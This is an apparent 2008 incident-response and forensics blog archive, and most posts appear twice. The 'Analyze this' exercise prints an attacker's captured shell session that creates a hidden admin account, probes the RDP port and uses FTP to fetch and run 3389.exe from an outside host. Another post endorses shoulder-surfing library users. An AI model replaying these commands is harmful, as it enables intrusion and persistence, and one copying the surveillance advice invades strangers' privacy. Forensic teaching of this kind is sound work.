Wednesday, January 30, 2008
E-evidence back on line
I was elated today when I checked my links and discovered that the e-evidence site was back online. This is one of the best resources available for our field. Apparently Christine had some hosting issues in December. There are a lot of updates and lots of new papers to read. There's also a new "links to blogs" section which I'm happy to see. Welcome back Christine!
Sunday, January 27, 2008
intelligence gathering
Not too long ago I was at a local Borders bookstore and had an urge to read something with a military background. I looked at books on tactics and books of historical value but I finally settled on something relatively current. I settled on the ARMY/Marines Counterinsurgency Field Manual. This book is of particular relevance to incident response and even forensics given the underground communities that often are encountered. I've taken a number of pages and dog-eared them and highlighted several sections so far. Perhaps one of the more interesting subjects is that of intelligence gathering. Intel gathering in COIN operations largely involves getting out and dealing with the population, earning their trust and respect and protecting them.
Since I'm just your average citizen - that is I don't walk around with a badge and gun, and I don't arrive in a black helicopter..I have the advantage of scoping out what's happening without drawing attention, which is to say I can shoulder surf much easier than some. I was at a public library recently picking up a book and as I was walking back to the circulation desk I passed through the public computing zone. There are common sayings in our society where advice is often given. I'd like to add a saying.. "If you want to gather intelligence on what software people may be using to conduct suspicious activities, shoulder surf at a public computing zone". I now a have a list of software to take a look at as a result.
Here's just a few applications I saw in use:
Idrive
wixi
meebo
Have you seen any interesting applications in use by people? Either during a case or during intel gathering? What are your favorite spots to gather intel?
Since I'm just your average citizen - that is I don't walk around with a badge and gun, and I don't arrive in a black helicopter..I have the advantage of scoping out what's happening without drawing attention, which is to say I can shoulder surf much easier than some. I was at a public library recently picking up a book and as I was walking back to the circulation desk I passed through the public computing zone. There are common sayings in our society where advice is often given. I'd like to add a saying.. "If you want to gather intelligence on what software people may be using to conduct suspicious activities, shoulder surf at a public computing zone". I now a have a list of software to take a look at as a result.
Here's just a few applications I saw in use:
Idrive
wixi
meebo
Have you seen any interesting applications in use by people? Either during a case or during intel gathering? What are your favorite spots to gather intel?
FTK 2.0
Last week I re-licensed my copy of AccessData's FTK and I'll be installing FTK 2.0 when it's released. With the new product being tied in to Oracle 10G, one must wonder..will the forensic processing box now be vulnerable to both Oracle and FTK introduced vulnerabilities? I must assume that the answer is of course yes. What does that mean for investigations? Must we now prove that the processing machine hasn't been compromised at the database level as well as the OS? Is there a way to prove the database integrity within the product?
If the 10G implementation is a full installation, this also creates a lot of powerful capabilities for case comparisons. Can we do some fuzzy matching from case to case to see how similar they are in attack methodology, and post intrusion activity? This could be pretty exciting as far as case comparisons go. Could one begin to profile attacks and groups responsible in this manner? I guess we'll see.
It may be even easier to do data presentation with a database backend now as well.
Let's not forget the other cool capabilities in the more expensive versions of FTK..like distributed processing of cases.
If the 10G implementation is a full installation, this also creates a lot of powerful capabilities for case comparisons. Can we do some fuzzy matching from case to case to see how similar they are in attack methodology, and post intrusion activity? This could be pretty exciting as far as case comparisons go. Could one begin to profile attacks and groups responsible in this manner? I guess we'll see.
It may be even easier to do data presentation with a database backend now as well.
Let's not forget the other cool capabilities in the more expensive versions of FTK..like distributed processing of cases.
Sunday, January 20, 2008
Analyze this
Some time ago I shared an intrusion analysis where the attack vector was the DNSRPC vulnerability. I've decided the trim this one down a bit to let you the reader tell me what you think is happening here.
You receive the following IDS alert on your cell phone early in the morning:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
After searching your network logs you discover the following:
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>
Some questions:
Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)
You receive the following IDS alert on your cell phone early in the morning:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
After searching your network logs you discover the following:
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>
Some questions:
Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)
Thursday, January 17, 2008
Which plug to pull?
For one reason or another I started thinking about pulling plugs tonight. I think this line of thought was actually inspired by Harlan's entry. As I was reading I started playing back some of the incidents I've responded to and I thought..."hmmmm now what factors go in to a decision to pull the plug, and which plug should be pulled".
Why do organizations rush to pull the power plug?
In my experiences it's due to a number of reasons - this is not exhaustive.
1) The environment is so dirty(lots of compromises) that pulling the plug is the safest move.
2) It's the traditional method, and it's been proven - so people are comforted by that fact.
3) Organizations haven't taken the time or effort to TRAIN their first responders or they just don't trust them enough.
4) Response time is so slow that the unfounded fear is that the volatile data will be lost before a trained responder can get to the system.
5) The environment is very sensitive and pulling the plug removes the possibility to lose sensitive data(more than they had already).
So then I started considering a few other points of interest. Suppose your network is monitored as in using netflow to collect "call records" or something more elaborate. Do you have enough information from a network log to remove the risk of losing data by pulling the network cable from the back of the affected system? Let's take a look at this shall we?
1) We can deduce which ports were open and those that were active until the network cable was pulled by evaluating network flow logs and system configuration after the fact.
If I have net flow logs that show traffic flowing to or from the system on say...port 445 I can say that port 445 was open, and listening and it had a connection to a remote host with IP a.b.c.d.
We can also reason that based on the system and the environment that certain ports are expected to be open. For instance, we know that a windows XP box will have a specific number of ports open and listening by default - unless there has been a configuration change to limit this or if software has been installed that changes this. In the case of the latter, we can obtain this information post mortem from the system or during an interview with a sysadmin.
2) If I pull the network cable I will lose data. This is true, but what am I losing? I will lose data from the output of maybe one tool that may or may not even return accurate information depending on the tool and if there is malware that prevents the accurate display of information. I may lose the specific point in time data related to the specific process that is running that is responsible for having an open socket and port. Have I lost the ability to analyze the executable? Have I lost the ability to analyze the system at a different point in time? If I have a Windows XP box on a domain can I expect the system behavior to be the same from day to day? Certainly there are variations that will occur (which domain controller authenticates the user for instance) but generally speaking the behavior of the system will be largely the same from day to day. Add some malware to the mix and what do you get? dynamic or static variance? By this I mean does the malware have a static footprint (it opens port 6669 and attempts to connect to ircX.foo.bar) that is the same between reboots, meaning that we have added a degree of variance but that variance will not itself change, or is it introduce a dynamic variance to the system (it chooses a different port each time and a different dns host between reboots), which is to say that it changes system behavior in a different way each time. This is tool marks all over again (opening a port and connecting to a dns host would be class characteristics, the specific ones would be individual characteristics). So to answer my own question have I lost the ability to analyze the system at a different point in time? No. Will system behavior be the same from day to day? Yes, this is due to the deterministic nature of computers.
Will the process stop running as a result of losing the network connection? Maybe, maybe not. But even if it does stop running can I determine this behavior of the malware after the fact? Yes I can.
What else do I lose? The one thing we lose without argument is the ability at that point in time to determine if sensitive data is leaving the network. Not if it has left or will leave, but if it is at that very moment in transit.
If we compare this to pulling the power cable, it seems like pulling the network cable is much more preferable and less damaging. So, let me codify this a bit.
Pull the network cable but not the power cable if:
So to clarify..what am I saying? Pull the network cable instead of the power cable unless your environment demands otherwise.
What are people's thoughts on this?
Why do organizations rush to pull the power plug?
In my experiences it's due to a number of reasons - this is not exhaustive.
1) The environment is so dirty(lots of compromises) that pulling the plug is the safest move.
2) It's the traditional method, and it's been proven - so people are comforted by that fact.
3) Organizations haven't taken the time or effort to TRAIN their first responders or they just don't trust them enough.
4) Response time is so slow that the unfounded fear is that the volatile data will be lost before a trained responder can get to the system.
5) The environment is very sensitive and pulling the plug removes the possibility to lose sensitive data(more than they had already).
So then I started considering a few other points of interest. Suppose your network is monitored as in using netflow to collect "call records" or something more elaborate. Do you have enough information from a network log to remove the risk of losing data by pulling the network cable from the back of the affected system? Let's take a look at this shall we?
1) We can deduce which ports were open and those that were active until the network cable was pulled by evaluating network flow logs and system configuration after the fact.
If I have net flow logs that show traffic flowing to or from the system on say...port 445 I can say that port 445 was open, and listening and it had a connection to a remote host with IP a.b.c.d.
We can also reason that based on the system and the environment that certain ports are expected to be open. For instance, we know that a windows XP box will have a specific number of ports open and listening by default - unless there has been a configuration change to limit this or if software has been installed that changes this. In the case of the latter, we can obtain this information post mortem from the system or during an interview with a sysadmin.
2) If I pull the network cable I will lose data. This is true, but what am I losing? I will lose data from the output of maybe one tool that may or may not even return accurate information depending on the tool and if there is malware that prevents the accurate display of information. I may lose the specific point in time data related to the specific process that is running that is responsible for having an open socket and port. Have I lost the ability to analyze the executable? Have I lost the ability to analyze the system at a different point in time? If I have a Windows XP box on a domain can I expect the system behavior to be the same from day to day? Certainly there are variations that will occur (which domain controller authenticates the user for instance) but generally speaking the behavior of the system will be largely the same from day to day. Add some malware to the mix and what do you get? dynamic or static variance? By this I mean does the malware have a static footprint (it opens port 6669 and attempts to connect to ircX.foo.bar) that is the same between reboots, meaning that we have added a degree of variance but that variance will not itself change, or is it introduce a dynamic variance to the system (it chooses a different port each time and a different dns host between reboots), which is to say that it changes system behavior in a different way each time. This is tool marks all over again (opening a port and connecting to a dns host would be class characteristics, the specific ones would be individual characteristics). So to answer my own question have I lost the ability to analyze the system at a different point in time? No. Will system behavior be the same from day to day? Yes, this is due to the deterministic nature of computers.
Will the process stop running as a result of losing the network connection? Maybe, maybe not. But even if it does stop running can I determine this behavior of the malware after the fact? Yes I can.
What else do I lose? The one thing we lose without argument is the ability at that point in time to determine if sensitive data is leaving the network. Not if it has left or will leave, but if it is at that very moment in transit.
If we compare this to pulling the power cable, it seems like pulling the network cable is much more preferable and less damaging. So, let me codify this a bit.
Pull the network cable but not the power cable if:
- Your environment has network logging at least at the session level.
- The system can sustain the loss of the network cable being pulled.
- Your environment demands this action.
- You've collected live response data.
So to clarify..what am I saying? Pull the network cable instead of the power cable unless your environment demands otherwise.
What are people's thoughts on this?
Tuesday, January 15, 2008
VirtualBox and forensics tools
I got a great question from Ted over at F3 about how to investigate a virtualbox virtual machine after the last entry.
As Ted pointed out, currently, forensics tools can't interpret a vdi file. Most can however work with a vmware vmdk file. As it turns out a vdi file isn't all that different truth be told. It looks like Innotek simply adds metadata to the disk image in the form of a header.
The required information (pay attention tool authors) is in VDICore.h in the OSE version of VirtualBox. It's located here in the unpacked tarball: src/VBox/Devices/Storage/VDICore.h The proper structs are available to parse the information.
For the investigators there are options....
1) Use vditool. It's available here. Be aware it's a 32bit binary and will not run on a 64bit system without some library configuration. **EDIT** I should point out that I had virtualbox installed on my system so the libraries were in the right place.
Here's some usage options.
hogfly@blackwootsy:/backups$ ~/vditool
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Usage: vditool [Params]
Commands and params:
NEW Filename Mbytes - create new image;
DD Filename DDFilename - create new image from DD format image;
CONVERT Filename - convert VDI image from old format;
DUMP Filename - debug dump;
RESETGEO Filename - reset geometry information;
COPY FromImage ToImage - make image copy;
COPYDD FromImage DDFilename - make a DD copy of the image;
SHRINK Filename - optimize (reduce) VDI image size.
Ok sweet, this tool will do what we need it to do. Let's take a look at the .vdi and parse the header.
hogfly@blackwootsy:/backups$ ~/vditool DUMP 2Kbase.vdi
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Dumping VDI image file="2Kbase.vdi" into the log file...
Log created: 2008-01-15T20:06:23.106689000Z
Executable: /home/hogfly/vditool
Arg[0]: /home/hogfly/vditool
Arg[1]: DUMP
Arg[2]: 2Kbase.vdi
--- Dumping VDI Disk, Images=1
Dumping VDI image "2Kbase.vdi" mode=r/o fOpen=1 File=00000003
Header: Version=00010001 Type=2 Flags=0 Size=10737418240
Header: cbBlock=1048576 cbBlockExtra=0 cBlocks=10240 cBlocksAllocated=10240
Header: offBlocks=512 offData=41472
Header: Geometry: C/H/S=20805/16/63 cbSector=512 Mode=3
Header: uuidCreation={8f8cc7fa-1538-4f2c-54ab-522e120fed0d}
Header: uuidModification={077a7a1f-9598-43f5-2189-1f3f5d105664}
Header: uuidParent={00000000-0000-0000-0000-000000000000}
Header: uuidParentModification={00000000-0000-0000-0000-000000000000}
Image: fFlags=00000000 offStartBlocks=512 offStartData=41472
Image: uBlockMask=000FFFFF uShiftIndex2Offset=20 uShiftOffset2Index=20 offStartBlockData=0
The operation completed successfully!
Some information:
Header Type=2 means this is a fixed disk. It's at offset 76 (0x4C). 1 is a dynamic disk. 2 is fixed.
Offset 344 supposedly indicates the offset location of the start of the data for the virtual machine. It's a 32bit int. In my case it's OffData=41472. This is the part I've bolded because I discovered the partition actually began at offset 73728. 41472 is where the MBR starts. This is important and I'll show why soon.
CHS info can be found: at offsets: 348,352,356
The uuid's containing data in my case begin at offset 392 and end at 423. These are created using libuuid. I've not yet figured out how to reverse the timestamp to unix epoch which is what they are representations of.
At this point we have more than enough information to get us started so we can analyze the image.
We can Mount the vdi for offline analysis in linux:
mount -t ntfs -o ro,noatime,noexec,loop,offset=73728 /backups/2Kbase.vdi /tmp/vdi
We now have a viable windows partition to look at.
hogfly@blackwootsy:/backups$ sudo ls /tmp/vdi
arcldr.exe CONFIG.SYS NTDETECT.COM System Volume Information
arcsetup.exe Documents and Settings ntldr WINNT
AUTOEXEC.BAT IO.SYS pagefile.sys
boot.ini MSDOS.SYS Program Files
3) In X-ways it's as easy as finding the partition.
4) One other way that's perhaps more portable is to use vditool to carve out the raw disk image. There are many ways to slice this one..but I'll use vditool.
hogfly@blackwootsy:/backups$ ~/vditool COPYDD 2Kbase.vdi 2Kbase.dd
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Copying VDI image file="2Kbase.vdi" to DD file="2Kbase.dd"...
The operation completed successfully!
Ok, sweet now I have a dd copy of the vdi..but wait let's take a closer look.
hogfly@blackwootsy:/backups$ ls -l 2Kbase.*
-rw------- 1 hogfly hogfly 10737418240 2008-01-15 08:48 2Kbase.dd
-rw------- 1 hogfly hogfly 10737459712 2008-01-15 08:48 2Kbase.vdi
Go ahead and subtract the two image sizes..what do you get? How about 41472 which is the offset for the beginning of the data on my virtual disk.
Hopefully this helps someone when they have to analyze a VirtualBox virtual machine. Thanks for the question Ted.
As Ted pointed out, currently, forensics tools can't interpret a vdi file. Most can however work with a vmware vmdk file. As it turns out a vdi file isn't all that different truth be told. It looks like Innotek simply adds metadata to the disk image in the form of a header.
The required information (pay attention tool authors) is in VDICore.h in the OSE version of VirtualBox. It's located here in the unpacked tarball: src/VBox/Devices/Storage/VDICore.h The proper structs are available to parse the information.
For the investigators there are options....
1) Use vditool. It's available here. Be aware it's a 32bit binary and will not run on a 64bit system without some library configuration. **EDIT** I should point out that I had virtualbox installed on my system so the libraries were in the right place.
Here's some usage options.
hogfly@blackwootsy:/backups$ ~/vditool
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Usage: vditool
Commands and params:
NEW Filename Mbytes - create new image;
DD Filename DDFilename - create new image from DD format image;
CONVERT Filename - convert VDI image from old format;
DUMP Filename - debug dump;
RESETGEO Filename - reset geometry information;
COPY FromImage ToImage - make image copy;
COPYDD FromImage DDFilename - make a DD copy of the image;
SHRINK Filename - optimize (reduce) VDI image size.
Ok sweet, this tool will do what we need it to do. Let's take a look at the .vdi and parse the header.
hogfly@blackwootsy:/backups$ ~/vditool DUMP 2Kbase.vdi
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Dumping VDI image file="2Kbase.vdi" into the log file...
Log created: 2008-01-15T20:06:23.106689000Z
Executable: /home/hogfly/vditool
Arg[0]: /home/hogfly/vditool
Arg[1]: DUMP
Arg[2]: 2Kbase.vdi
--- Dumping VDI Disk, Images=1
Dumping VDI image "2Kbase.vdi" mode=r/o fOpen=1 File=00000003
Header: Version=00010001 Type=2 Flags=0 Size=10737418240
Header: cbBlock=1048576 cbBlockExtra=0 cBlocks=10240 cBlocksAllocated=10240
Header: offBlocks=512 offData=41472
Header: Geometry: C/H/S=20805/16/63 cbSector=512 Mode=3
Header: uuidCreation={8f8cc7fa-1538-4f2c-54ab-522e120fed0d}
Header: uuidModification={077a7a1f-9598-43f5-2189-1f3f5d105664}
Header: uuidParent={00000000-0000-0000-0000-000000000000}
Header: uuidParentModification={00000000-0000-0000-0000-000000000000}
Image: fFlags=00000000 offStartBlocks=512 offStartData=41472
Image: uBlockMask=000FFFFF uShiftIndex2Offset=20 uShiftOffset2Index=20 offStartBlockData=0
The operation completed successfully!
Some information:
Header Type=2 means this is a fixed disk. It's at offset 76 (0x4C). 1 is a dynamic disk. 2 is fixed.
Offset 344 supposedly indicates the offset location of the start of the data for the virtual machine. It's a 32bit int. In my case it's OffData=41472. This is the part I've bolded because I discovered the partition actually began at offset 73728. 41472 is where the MBR starts. This is important and I'll show why soon.
CHS info can be found: at offsets: 348,352,356
The uuid's containing data in my case begin at offset 392 and end at 423. These are created using libuuid. I've not yet figured out how to reverse the timestamp to unix epoch which is what they are representations of.
At this point we have more than enough information to get us started so we can analyze the image.
We can Mount the vdi for offline analysis in linux:
mount -t ntfs -o ro,noatime,noexec,loop,offset=73728 /backups/2Kbase.vdi /tmp/vdi
We now have a viable windows partition to look at.
hogfly@blackwootsy:/backups$ sudo ls /tmp/vdi
arcldr.exe CONFIG.SYS NTDETECT.COM System Volume Information
arcsetup.exe Documents and Settings ntldr WINNT
AUTOEXEC.BAT IO.SYS pagefile.sys
boot.ini MSDOS.SYS Program Files
3) In X-ways it's as easy as finding the partition.
4) One other way that's perhaps more portable is to use vditool to carve out the raw disk image. There are many ways to slice this one..but I'll use vditool.
hogfly@blackwootsy:/backups$ ~/vditool COPYDD 2Kbase.vdi 2Kbase.dd
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Copying VDI image file="2Kbase.vdi" to DD file="2Kbase.dd"...
The operation completed successfully!
Ok, sweet now I have a dd copy of the vdi..but wait let's take a closer look.
hogfly@blackwootsy:/backups$ ls -l 2Kbase.*
-rw------- 1 hogfly hogfly 10737418240 2008-01-15 08:48 2Kbase.dd
-rw------- 1 hogfly hogfly 10737459712 2008-01-15 08:48 2Kbase.vdi
Go ahead and subtract the two image sizes..what do you get? How about 41472 which is the offset for the beginning of the data on my virtual disk.
Hopefully this helps someone when they have to analyze a VirtualBox virtual machine. Thanks for the question Ted.
Saturday, January 12, 2008
Moving to VirtualBox
Just this past week I started migrating my honeynet to VirtualBox after struggling with some performance issues using VMWare workstation 6. My honeynet is currently housing around 20 virtual machines running on an Ubuntu 7.10 x64 Server distribution.
VirtualBox has a pretty solid set of documentation available and they build for Ubuntu and a few other distributions so installation is pretty easy.
I added the following to my sources.list:
deb http://www.virtualbox.org/debian gutsy non-free
First I wanted to see what packages were available.
hogfly@maluminse:~$ sudo apt-cache search virtualbox
virtualbox-ose - PC virtualization solution
virtualbox-ose-modules-2.6.22-14-generic - virtualbox-ose modules for linux-image-2.6.22-14-generic
virtualbox-ose-modules-2.6.22-14-server - virtualbox-ose modules for linux-image-2.6.22-14-server
virtualbox-ose-source - Source for the VirtualBox module
virtualbox - innotek VirtualBox
Ok..so speaking from hindsight, don't install the -ose packages. You'll end up being short some VBox commands that came in to play for me (VBoxAddIF for instance).
Install was as simple as issuing the apt-get install virtualbox command.
Once installed I created a Windows XP virtual machine and initially left it configured to use NAT. Eventually I moved this to a Bridged interface setup giving the virtual machine direct network access.
To accomplish this I installed bridge-utils and set up a bridge.
hogfly@maluminse:~$ sudo brctl addbr vboxbr0
hogfly@maluminse:~$ sudo brctl addif vboxbr0 eth2
To add the virtual machine to the bridge I first needed to create the virtual host interface.
hogfly@maluminse:~$ sudo VBoxAddIF vbox0 hogfly vboxbr0
VirtualBox host networking interface creation utility, version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Creating the permanent host networking interface "vbox0" for user hogfly.
Now that I had the virtual host interface set up I simply added it to the bridge.
hogfly@maluminse:~$ sudo brctl addif vboxbr0 vbox0
After doing this I just gave the XP system an IP address, installed some software, shut it down and started cloning it.
Cloning a VM in VirtualBox is pretty easy. The command line utility is called VBoxManage. I've found this to be far superior to Vmware's vmrun command line utility.
To clone my XP base image I simply issued the following command:
VBoxManage clonevdi XPBASE.vdi /mnt/honeypots/vbox1/Hpot1.vdi After a few minutes, the disk image was copied and I was ready to do some configuration. First though I had to "create" the virtual machine. This is basically just a registration of the VM existence.
To do so I issued the following command:
hogfly@maluminse:~$ VBoxManage createvm -name gumby -register -basefolder /mnt/honeypots/vbox1/
VirtualBox Command Line Management Interface Version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Virtual machine 'gumby' is created and registered.
UUID: cd07351b-8428-4829-62b0-1e42d86dd5d9
Settings file: '/mnt/honeypots/vbox1/gumby/gumby.xml'
Now I can start it up if I so choose:
hogfly@maluminse:~$ VBoxManage startvm gumby
So far I'm happy with VirtualBox but we'll see how things progress.
VirtualBox has a pretty solid set of documentation available and they build for Ubuntu and a few other distributions so installation is pretty easy.
I added the following to my sources.list:
deb http://www.virtualbox.org/debian gutsy non-free
First I wanted to see what packages were available.
hogfly@maluminse:~$ sudo apt-cache search virtualbox
virtualbox-ose - PC virtualization solution
virtualbox-ose-modules-2.6.22-14-generic - virtualbox-ose modules for linux-image-2.6.22-14-generic
virtualbox-ose-modules-2.6.22-14-server - virtualbox-ose modules for linux-image-2.6.22-14-server
virtualbox-ose-source - Source for the VirtualBox module
virtualbox - innotek VirtualBox
Ok..so speaking from hindsight, don't install the -ose packages. You'll end up being short some VBox commands that came in to play for me (VBoxAddIF for instance).
Install was as simple as issuing the apt-get install virtualbox command.
Once installed I created a Windows XP virtual machine and initially left it configured to use NAT. Eventually I moved this to a Bridged interface setup giving the virtual machine direct network access.
To accomplish this I installed bridge-utils and set up a bridge.
hogfly@maluminse:~$ sudo brctl addbr vboxbr0
hogfly@maluminse:~$ sudo brctl addif vboxbr0 eth2
To add the virtual machine to the bridge I first needed to create the virtual host interface.
hogfly@maluminse:~$ sudo VBoxAddIF vbox0 hogfly vboxbr0
VirtualBox host networking interface creation utility, version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Creating the permanent host networking interface "vbox0" for user hogfly.
Now that I had the virtual host interface set up I simply added it to the bridge.
hogfly@maluminse:~$ sudo brctl addif vboxbr0 vbox0
After doing this I just gave the XP system an IP address, installed some software, shut it down and started cloning it.
Cloning a VM in VirtualBox is pretty easy. The command line utility is called VBoxManage. I've found this to be far superior to Vmware's vmrun command line utility.
To clone my XP base image I simply issued the following command:
VBoxManage clonevdi XPBASE.vdi /mnt/honeypots/vbox1/Hpot1.vdi After a few minutes, the disk image was copied and I was ready to do some configuration. First though I had to "create" the virtual machine. This is basically just a registration of the VM existence.
To do so I issued the following command:
hogfly@maluminse:~$ VBoxManage createvm -name gumby -register -basefolder /mnt/honeypots/vbox1/
VirtualBox Command Line Management Interface Version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Virtual machine 'gumby' is created and registered.
UUID: cd07351b-8428-4829-62b0-1e42d86dd5d9
Settings file: '/mnt/honeypots/vbox1/gumby/gumby.xml'
Now I can start it up if I so choose:
hogfly@maluminse:~$ VBoxManage startvm gumby
So far I'm happy with VirtualBox but we'll see how things progress.
Subscribe to:
Posts (Atom)
